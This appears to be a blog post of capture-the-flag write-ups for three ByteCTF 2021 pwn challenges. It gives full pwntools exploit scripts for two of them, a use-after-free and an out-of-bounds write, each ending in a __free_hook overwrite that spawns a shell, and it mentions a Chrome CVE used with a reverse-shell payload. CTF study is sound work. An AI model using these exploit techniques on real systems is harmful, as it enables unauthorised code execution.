前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[ByteCTF 2021 Quals] Pwn方向几个题解

[ByteCTF 2021 Quals] Pwn方向几个题解

作者头像
赤道企鹅
发布2022-08-01 14:13:39
3130
发布2022-08-01 14:13:39
举报
文章被收录于专栏:赤道企鹅的博客

bytezoom

C++下的堆利用,对于有C++基础的人来说应该很快看出要点在于错误的使用了shared_ptr的裸指针,形成悬挂指针,进而UAF

EXP:

代码语言:javascript
复制
from pwn import *
import time

#p = process("./bytezoom", env = {"LD_PRELOAD":"./libc-2.31.so"})
p = remote("39.105.37.172", 30012)
libc = ELF("./libc-2.31.so")
context.log_level = "debug"


def create(_type, idx:int, name, age:bytes):
    p.sendlineafter(b"choice:\n", b"1")
    p.sendlineafter(b"cat or dog?\n", _type)
    p.sendlineafter(b"input index:\n", str(idx).encode())
    p.sendlineafter(b"name:\n", name)
    p.sendlineafter(b"age:\n", age)
    
def show_message(_type, idx):
    p.sendlineafter(b"choice:\n", b"2")
    p.sendlineafter(b"cat or dog?\n", _type)
    p.sendlineafter(b"input index:\n", str(idx).encode())
    
def into_manager():
    p.sendlineafter(b"choice:\n", b"3")
    
def quit_manager():
    p.sendlineafter(b"choice:\n", b"4")
    
def manage_select(_type, idx):
    p.sendlineafter(b"choice:\n", b"1")
    p.sendlineafter(b"select cat or dog?\n", _type)
    p.sendlineafter(b"input " + _type + b"'s index:\n", str(idx).encode())
    
def change_age(_type, add_years):
    p.sendlineafter(b"choice:\n", b"2")
    p.sendlineafter(b"select cat or dog?\n", _type)
    p.sendlineafter(b"you want to add\n", add_years)
    
def change_name(_type, new_name):
    p.sendlineafter(b"choice:\n", b"3")
    p.sendlineafter(b"select cat or dog?\n", _type)
    p.sendlineafter(b"please input new name:\n", new_name)

# base: 0x0000555555554000
# base: 0x0000555555554000+0x12340  cat list
# base: 0x0000555555554000+0x12380  dog list
# selected: 0x0000555555554000+0x122E0

def exp():
    # leak libc
    create(b"dog", 0, b"a"*8, b"1")
    into_manager()
    manage_select(b"dog", 0)
    quit_manager()
    create(b"dog", 0, b"b"*8, b"1") # free prev
    create(b"cat", 0, b"c"*8, b"1") # selected
    create(b"cat", 1, b"x"*0x400, b"1") 
    into_manager()
    #gdb.attach(p)
    #pause()
    change_age(b"dog", b"889")
    change_age(b"dog", b"1279")
    quit_manager()
    show_message(b"cat", 0)
    p.recvuntil(b"name:")
    libc_leak = u64(p.recv(8))
    libc_base = libc_leak - 0x70 - libc.symbols[b"__malloc_hook"]
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))
    
    # attack free_hook
    ## create 0x20 bin
    create(b"cat", 2, b"d"*0x50, b"1") 
    create(b"cat", 3, b"d"*0x50, b"1") 
    create(b"cat", 2, b"d"*0x30, b"1")
    create(b"cat", 3, b"d"*0x30, b"1") 
    into_manager()
    change_age(b"dog", b"160")
    manage_select(b"cat", 0)
    change_name(b"cat", p64(free_hook))
    quit_manager()
    ## get chunk at free_hook
    create(b"cat", 4, b"/bin/sh\x00"*(0x50//8), b"1") 
    create(b"cat", 5, p64(system)*(0x50//8), b"1") 
    print("free_hook:", hex(free_hook))
    ## get shell
    create(b"cat", 4, b"t"*0x100, b"1") 
    
    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

chatroom

混了个一血

headless chrome,用CVE-2021-21224打,最好用msf自身的反弹shell payload, shell_reverse_tcp 这个payload究极不稳定,连上就断

ByteCSMS

思路:

  1. 同样是涉及C++数据结构的pwn,问题出在Vector内部和外部用户自定义的计数方式可能出现不匹配的情况:Vector内部通过指针差值右移4位(除0x10,即元素大小)来计算元素个数;而外部则通过一个全局变量(total)保存元素个数;当用户使用name作为索引删除元素时会一次性删除所有name相同的元素,而外部变量只递减了1,这样可以构造total远大于(ptr2-ptr1)>>4
  2. 构造方式:add很多次name为/bin/sh的元素,致使Vector过大而存放在mmap出来的内存段,从而与libc有固定偏移;通过upload保存此时的Vector;通过name索引的方式remove掉name为/bin/sh的元素,再通过download把这样元素添加回来,以此往复可以将total的值增加非常大;由于通过index索引方式edit元素时,检查范围的最大边界是由total标定的,这就使得用户可以越界读写;
  3. 估计好越界位置读出libc某个rw段上的指针,计算出libc基址(这一步只是泄露所以要注意好恢复原本的值);然后同样估计好__free_hook的位置用edit写上system地址;最后一步upload剩余的元素,使得存放upload元素的Vector发生realloc,free掉原来的堆块,将堆块头部的/bin/sh作为参数执行system("/bin/sh")

EXP:

代码语言:javascript
复制
from pwn import *

#p = remote("39.105.63.142", 30011)
p = remote("39.105.37.172", 30011)
libc = ELF("./libc-2.31.so.6")

context.log_level = "debug"

def add(name, score:int):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"Enter the ctfer's name:\n", name)
    p.sendlineafter(b"Enter the ctfer's scores\n", str(score).encode())
    p.sendlineafter(b"enter the other to return\n", b"123")
    
def edit(n_or_i, new_name, new_score, way:str):
    p.sendlineafter(b"> ", b"3")
    p.recvuntil(b"2.Edit by index\n")
    if way == "name":
        p.sendline(b"1")
        p.sendline(n_or_i)
    elif way == "index":
        p.sendline(b"2")
        p.sendline(str(n_or_i).encode())
    else:
        return
    p.sendlineafter(b"Enter the new name:\n", new_name)
    p.sendlineafter(b"Enter the new score:\n", str(new_score).encode())
    
def remove(n_or_i, way:str):
    p.sendlineafter(b"> ", b"2")
    p.recvuntil(b"2.Remove by index\n")
    if way == "name":
        p.sendline(b"1")
        p.sendlineafter(b"to be deleted\n", n_or_i)
    elif way == "index":
        p.sendline(b"2")
        p.sendlineafter(b"Index?\n", str(n_or_i).encode())
    else:
        return
        
def upload():
    p.sendlineafter(b"> ", b"4")
        
def download():
    p.sendlineafter(b"> ", b"5")

# manager: 0x00007fffffffdbd0
# total: 0x0000555555607280
# base: 0x0000555555400000

def exp():
    p.sendlineafter(b"Password for admin:\n", b"\x00")
    while True:
        if p.recv(9) == b"Incorrect":
            p.sendlineafter(b"Password for admin:\n", b"\x00")
        else:
            break
    # leak addr
    add(b"/bin/sh", 100)
    add(b"/bin/sh", 100)
    for i in range(0x1000-2):
        add(b"/bin/sh", 100)
    upload()
    edit(0, b"aaaa", 100, "index")
    edit(1, b"aaaa", 100, "index")
    add(b"/bin/sh", 100)
    add(b"/bin/sh", 100)
    for i in range(90):
        remove(b"/bin/sh", "name")
        download()
    ## 358659 220931
    ## get addr
    p.sendlineafter(b"> ", b"3")
    p.recvuntil(b"2.Edit by index\n")
    p.sendline(b"2")
    #gdb.attach(p)
    #pause()
    p.sendlineafter(b"Index?\n", b"220931")
    #p.recv(0x30-2)
    p.recvuntil(b"220931\x09")
    libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
    #libc_base = libc_leak - 0x18b110
    libc_base = libc_leak - 0x18b2a0
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))
    #fix_addr = libc_base + 0x18ea70
    fix_addr = libc_base + 0x18ec00
    #gdb.attach(p)
    #pause()  
    p.sendlineafter(b"Enter the new name:\n", p64(libc_leak)+p64(fix_addr)[0:4])
    p.sendlineafter(b"Enter the new score:\n", str(u32(p64(fix_addr)[4:])).encode())
    #gdb.attach(p)
    #pause()
    
    # rewrite _free_hook
    ## 359601 221873
    #gdb.attach(p, "b *0x0000555555400000+0x1b9b\nc\n")
    edit(221873, p64(0)+p64(system)[0:4], u32(p64(system)[4:]), "index")
    print("free_hook:", hex(free_hook))
    #gdb.attach(p)
    #pause()
    
    ## get shell
    edit(0, b"/bin/sh", 100, "index")
    #gdb.attach(p, "b *0x0000555555400000+0x12dc\nc\n")
    remove(b"/bin/sh", "name")
    upload()
    print("free_hook:", hex(free_hook))
        
    p.sendline(b"cat flag;cat flag;cat flag;")
    p.interactive()

if __name__ == "__main__":
    exp()
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-10-31,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • bytezoom
  • chatroom
  • ByteCSMS
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档